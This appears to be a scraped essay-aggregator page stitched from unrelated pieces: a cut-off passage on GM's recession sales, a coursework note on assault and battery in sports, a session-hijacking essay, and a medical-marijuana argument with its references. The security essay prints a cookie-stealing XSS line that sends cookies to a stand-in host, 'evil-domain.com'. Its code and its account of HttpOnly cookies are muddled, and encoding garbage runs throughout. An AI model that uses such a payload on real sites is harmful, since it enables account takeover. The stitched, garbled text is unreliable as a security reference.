decrease of about 6.5% in the European market. However, these shrinks were partially offset by the growing markets of South America and Asia. The recession had a cyclical and vicious effect on GM’s US sales. With decreased availability of credit, there was a reduced off take of vehicles from dealers. In addition, increasing job losses due to recession meant lesser number potential

Assault and battery Coursework Example | Topics and Well Written Essays - 250 words

Assault and battery - Coursework Example It is clear that contact sports imply random injuries. The difference is that when injuries are the result of deliberate, unfair, unacceptable and excessive use of violence, it becomes assault and/or battery, depending on the result. This is the case of aggressive players. In order to establish the existence of assault, the next test is applied: 1. Intentional, unlawful threat to hurt somebody; 2. The threatened person felt a well motivated fear of imminent attack and 3. The possibility of realizing the threat is undoubtful. A similar test is applied in order to establish battery: 1. The existence of a violent act towards the plaintiff; 2. The defendant willingfully used the violence and 3. The causation: the violent act hurt the plaintiff. Therefore, I believe that the user of a deliberate elbow to the face or a knee to the groin in basketball, the deliberate use of spikes by a runner in baseball, eye gouging in football, or other violence that causes unnecessary injuries in sports can be held liable for assault and/or battery, the key words in all this being deliberate and unnecessary.

Study And Analysis On Session Hijacking Computer Science Essay

Study And Analysis On Session Hijacking Computer Science Essay Generally the most common way of tracking a user login state is done by using a cookie. The process is quite simple, go to a page and enter the login id and password. If the information provided is correct, the next response is in the form of a cookie which uniquely identifies a particular user. In order to check the login credentials, cookie is checked for each page of the site and it verifies your originality by being intact, until you log out. Introduction: Session hijacking term means the exploitation of presently running session. Sometimes it is often referred as session key, it is used to gain the unauthorized gain to a system or to exploit services in the a computer. When a magic cookie which is used to authenticate the user to the server is stolen and used for the unauthorized purse is referred as session hijacking. Generally it is relevant to the web developers, as HTTP cookies are used to maintain the session on a site can be easily stolen by an attacker or the attacker can utilize by gaining access to the computer where the he can find the saved cookies. Cookie: When the user runs a machine, the machine stores a small text file which is called as a cookie. Cookies are plain text, they do not contain any executable codes A web page or sever instructs a particular browser to store the information and sent it back whenever there is a request based on certain rules. Majority of sites identifies the users by these cookies. A user login state is done by using a cookie. The process is quite simple, go to a page and enter the login id and password. If the information provided is correct, the next response is in the form of a cookie which uniquely identifies a particular user. In order to check the login credentials, cookie is checked for each page of the site and it verifies your originality by being intact, until you log out. Session hijacking in TCP In the session hijacking in TCP, the attacker takes over the TCP session between the two computers. As the most of the authentication is done at the starting of the session, this allows the hacker to gain over the machines. One of the common methods used is source- routed of IP packets. It is generally middle in the middle kind of a attack, where a hacker a point B intercepts the conversation between the A and C by encouraging the packets to pass through the attackers machine. Even though the source routing is turned off, the attacker can use a method called blind hijacking, where the attacker tries to guess the response between the two machines. If he is successful, then the hacker sends a command but he can never see the response but however a common command is like password, which allows to access from some other place on the network. One of the purposes of such an attack is to cause the denial of service attack at one end point so that it will not respond. This attack can force the machine to crash or it can force the network connection for heavy packet loss. Problem: The main problem with this kind of a system is that it leaves the user identification at a single data point and more over the cookies sent over the internet is in the form of plain text, which makes it to highly vulnerable to packet sniffing, where hacker intercepts the conversation between the network and the computer. One the user login cookie is stolen; it can be used to run the similar session at a distinct place by manually setting the cookie. Because the server canà ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â‚¬Å¾Ã‚ ¢t differentiate between a original cookie and a duplicated cookie which was modified by the attacker through the packet sniffing, so it shows as if the user is logged on. This type of attack is generally referred as session hijacking. To prevent session hijacking using cookies there are few methods. The first one is, sending the cookies over the SSL; this is a common method technique. SSL uses the encryption method for the request on the site before responding across the internet and cookie value cannot be solely determined by the sniffing. The banks and stores generally use this method frequently since most of the session is for short duration of time. Another method is to generate the session key randomly or which is based on the information of the user such as login id, IP address, and time when he logged in etc. It makes the session key un- usable, though it is possible. The other way is to revalidate the particular user before performing assigned to a higher security level, such as, many sites as for login information for the second time before modifying the password. Cookies in JavaScript Creating, removing and manipulation of cookies can be done in JavaScript by using document. cookie property. This property behaves as a set cookie header when it is assigned to a cookie header. While creating a cookie, string must be used in the same format. You can create, manipulate, and remove cookies in JavaScript by using the document.cookie property. This property acts as the Set-Cookie header when assigned to and as the Cookie header when read from. When creating a cookie, you must use a string thatà ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â‚¬Å¾Ã‚ ¢s in the same format that Set-Cookie expects: document.cookie=name=prahald; domain=nczonline.net; path=/; just by modifying the values of document.cookie does not delete the cookie. It just either creates or modifies the particular string. So that whenever the next request is made to the server, these cookies are sent along the set cookie. To retrieve cookie values in JavaScript, just read from the document.cookie property. The returned string is in the same format as the Cookie header value, so multiple cookies are separated by a semicolon and space. Example: name1=Munn; name2=prahalad This is the reason why, we need to compulsory make a cookie string manually as an original cookie Cookie stealing and XSS To able to load JavaScript from a distinct domain onto a page opens up at a particular week point or security loop holes. In fact a request from a third party, the JavaScript doesnà ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â‚¬Å¾Ã‚ ¢t include the cookies containing in a page. The JavaScript can get access to all of them. All the script page are considered as, running on a common platform. With the similar path, and by using the similar protocol as the page. This means a script form loaded in other domain page by reading the cookie as cookie. Document. For example, it can be dangerous , if a person lodes a script from evil-domain.com which consists of some useful codes. However, users at evil-domain.com can switch that code to the following: (new Image()).src = http://www.evil-domain.com/cookiestealer.php?cookie= + cookie.domain; As this code is being loaded on to the user page, without being recognized by user send users cookie to the evil-domain.com. This problem happens to each and every person who visits the site. Once the hacker has the user cookie, it is very easy to penetrate and doing other attacks including the session hijacking. Whenever attack happens due to injection of third-party JavaScript into a page, it is referred as cross-site scripting attack or it is generally referred as XSS. Cookie theft doesà ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â‚¬Å¾Ã‚ ¢nt occur by just injecting a malicious scrip onto your page accidentally, it can also happen due to poor input filtering. Such as a page, where the user can enter the text, which is the output, onto the page. If the text consists of a script tag with the similar code as mentioned above then it is possible to steal the cookies The cross site scripting attack has been used against large sites for example, live journal and MySpace. The best way to protect is of forms: Never ever include the JavaScript for sites or domains which are untrusted. The CDNs of big companies like yahoo,AOL and Google should be more secure; using best precaution which includes other locations. From all the user input the HTML should be filtered out. You should not accept any user input and outbound onto a page without filtering it. Conclusion Hence it is safe to use cookies which all the security issues around them. That is why HTTP cookies are considered as important over the standard cookies implementations. If a cookie is marked as HTTP, a attacker cannot inject or get access to the malicious script by cookie via document. So it becomes difficult to steal the cookies. When such a HTTP cookies are supported by the browsers it becomes a third option.

Suffering Patients Need Medical Marijuana Essay -- Argumentative Persu

Suffering Patients Need Medical Marijuana If a doctor told you that you could either go blind in three years from glaucoma or break the law by smoking pot, which would you choose? If marijuana could prolong your life by allowing you to continue cancer chemotherapy without the unending vomiting and nausea, would you consider it? If cannabis could stop epileptic seizures that had plagued you since childhood, would you use it? This medicine can benefit patients suffering from these and many other afflictions, but it is being withheld; they are being denied a right granted to all living things—that of self-preservation. â€Å"It’s not about drugs, it’s about letting men fight,† George McMahon told me when I was fortunate enough to speak with him about cannabis prohibition. McMahon is one of the last eight people in the United States currently receiving medical marijuana from the federal government. George was born with the need for drugs to help his condition—Nail Patella Syndrome (a rare neurological disorder). By the age of one he was being given beer, opiates before the age three, and had two forced addictions, to codeine and morphine, by the age of fourteen. He’s had every drug in the book, but marijuana is the one that helps: â€Å"This is damn good medicine, and it works the same every time.† George was able to obtain marijuana through the federally regulated Investigational New Drug (IND) program, but it took him over two years to get past the repetitious paperwork. Few individuals were lucky enough to enter the program, and many didn’t last through the application period: â€Å"A lot of people tried to get in, and most of them have died,† says George. Later, 34 patients were approved for the program but were de... ...eting and Interviews (CBC). San Francisco, June 7, 1996. Gorman, Peter. â€Å"Marijuana and AIDS.† High Times Dec. 1994: 26+. Grinspoon, Lester, M.D., and James B. Bakalar. Marihuana: The Forbidden Medicine. New Haven: Yale UP, 1993. Leveritt, Mara. â€Å"Reefer Madness: Pot’s Tab in the War On Drugs.† The Arkansas Times. 16 September, 1993: 11-12. Available: http://www.calyx.net/~olsen/MEDICAL â€Å"Medical Marijuana in Australia.† Alliance for Cannabis Therapeutics News. Spring 1995. Available: http://www.calyx.net/~olsen/MEDICAL McMahon, George. Telephone Interview, May 30, 1996. National Organization for the Reform of Marijuana Laws (NORML). Marijuana Prohibition: A Colossal Failure. Washington D.C., 1995. Young, Francis L. â€Å"In The Matter of MDMA Scheduling.† Docket No. 84-48. May 22, 1986. Available: http://www.damicon.fi/drugs/mdma.scheduling.html